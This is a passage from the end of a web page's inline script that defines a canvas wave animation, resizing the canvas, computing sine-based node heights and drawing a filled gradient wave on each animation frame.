if (this.canvas.width !== width * pixelRatio || this.canvas.height !== height * pixelRatio) {
this.canvas.width = width * pixelRatio;
this.canvas.height = height * pixelRatio;
this.canvas.style.width = width + 'px';
this.canvas.style.height = height + 'px';
this.ctx.scale(pixelRatio, pixelRatio);
return true;
}
return false;
}
resizeCanvasToDisplaySize() {
const rect = this.canvas.getBoundingClientRect();
const width = rect.width;
const height = rect.height;
const pixelRatio = Math.min(this.ratio, window.innerWidth <= 768 ? 1.5 : 2);
// Always update canvas size to match current container
this.canvas.width = width * pixelRatio;
this.canvas.height = height * pixelRatio;
this.canvas.style.width = width + 'px';
this.canvas.style.height = height + 'px';
this.ctx.scale(pixelRatio, pixelRatio);
// Recalculate nodes based on new width
this.nodes = this.setWaveNodes();
this.initFrequencyNodes();
return true;
}
diff(a, b) {
return (b - a) / 2 + a;
}
getFrequencyHeight(index) {
const freqNode = this.frequencyNodes[index];
if (!freqNode) return 1;
// Create complex frequency pattern
const baseFreq = Math.sin(this.time * freqNode.frequency + freqNode.phase);
const harmonicFreq = Math.sin(this.time * freqNode.frequency * 2.3 + freqNode.phase * 1.7) * 0.3;
const slowFreq = Math.sin(this.time * freqNode.frequency * 0.5 + freqNode.phase * 0.8) * 0.5;
// Combine frequencies for more organic movement
const combined = (baseFreq + harmonicFreq + slowFreq) * freqNode.amplitude;
// Create dramatic height variations (like frequency analyzer)
const heightVariation = Math.abs(combined) * freqNode.heightMultiplier;
// Add some randomness for natural feel
const randomVariation = Math.sin(this.time * 0.1 + index) * 0.2;
return Math.max(0.1, heightVariation + randomVariation + 0.3);
}
drawWave() {
const wave = this.nodes;
const ctx = this.ctx;
const canvasWidth = this.canvas.getBoundingClientRect().width;
// Dynamic gradient based on wave intensity
const avgHeight = wave.reduce((sum, node) => sum + node[1], 0) / wave.length;
const intensity = Math.min(1, avgHeight / this.maxWaveHeight);
// Create responsive gradient that works on all screen sizes
const gradient = ctx.createRadialGradient(
canvasWidth * 0.1, 0, canvasWidth * 0.5,
canvasWidth * 0.1, canvasWidth * 0.25, canvasWidth * 1.5
);
gradient.addColorStop(0.15, "#02019d");
gradient.addColorStop(0.5, "#02019d");
gradient.addColorStop(1, "#02019d");
ctx.fillStyle = gradient;
ctx.beginPath();
ctx.moveTo(0, ctx.canvas.height / (this.ratio || 1));
// First wave node
ctx.lineTo(wave[0][0], wave[0][1]);
for (let i = 0; i < wave.length; i++) {
if (wave[i + 1]) {
ctx.quadraticCurveTo(
wave[i][0],
wave[i][1],
this.diff(wave[i][0], wave[i + 1][0]),
this.diff(wave[i][1], wave[i + 1][1])
);
} else {
// Last wave node
ctx.lineTo(wave[i][0], wave[i][1]);
ctx.lineTo(canvasWidth, ctx.canvas.height / (this.ratio || 1));
}
}
ctx.closePath();
ctx.fill();
}
draw() {
const ctx = this.ctx;
this.time += this.frequencySpeed;
const canvasWidth = this.canvas.getBoundingClientRect().width;
const canvasHeight = this.canvas.getBoundingClientRect().height;
ctx.clearRect(0, 0, canvasWidth, canvasHeight);
// Update nodes with frequency-based heights
this.nodes = this.nodes.map((node, index) => {
const frequencyHeight = this.getFrequencyHeight(index);
const dynamicHeight = this.baseWaveHeight + (this.maxWaveHeight - this.baseWaveHeight) * frequencyHeight;
// Create wave motion with dynamic height
const waveMotion = (dynamicHeight / 2) * Math.sin(node[2] / 15);
// Improved base position calculation that works consistently across devices
const basePosition = canvasHeight * 0.5 - (canvasHeight * 0.45) + dynamicHeight;
return [
node[0],
waveMotion + basePosition,
node[2] + node[3] * this.frequencyNodes[index].speedMultiplier,
node[3]
];
});
this.drawWave();
}
animate() {
this.draw();
this.animationFrameId = requestAnimationFrame(() => this.animate());
}
destroy() {
if (this.animationFrameId) {
cancelAnimationFrame(this.animationFrameId);
}
clearTimeout(this.resizeTimeout);
window.removeEventListener('resize', () => this.resizeCanvasToDisplaySize());
window.removeEventListener('orientationchange', () => this.resizeCanvasToDisplaySize());
}
}
// Initialize the wave animation with the original canvas ID
// const wave1 = new WaveAnimation('waveCanvas');
// Initialize the wave animation with the new canvas ID
const wave2 = new WaveAnimation('waveCanvas1');
// const wave3 = new WaveAnimation('waveCanvas2');
</script>
</body>
</html>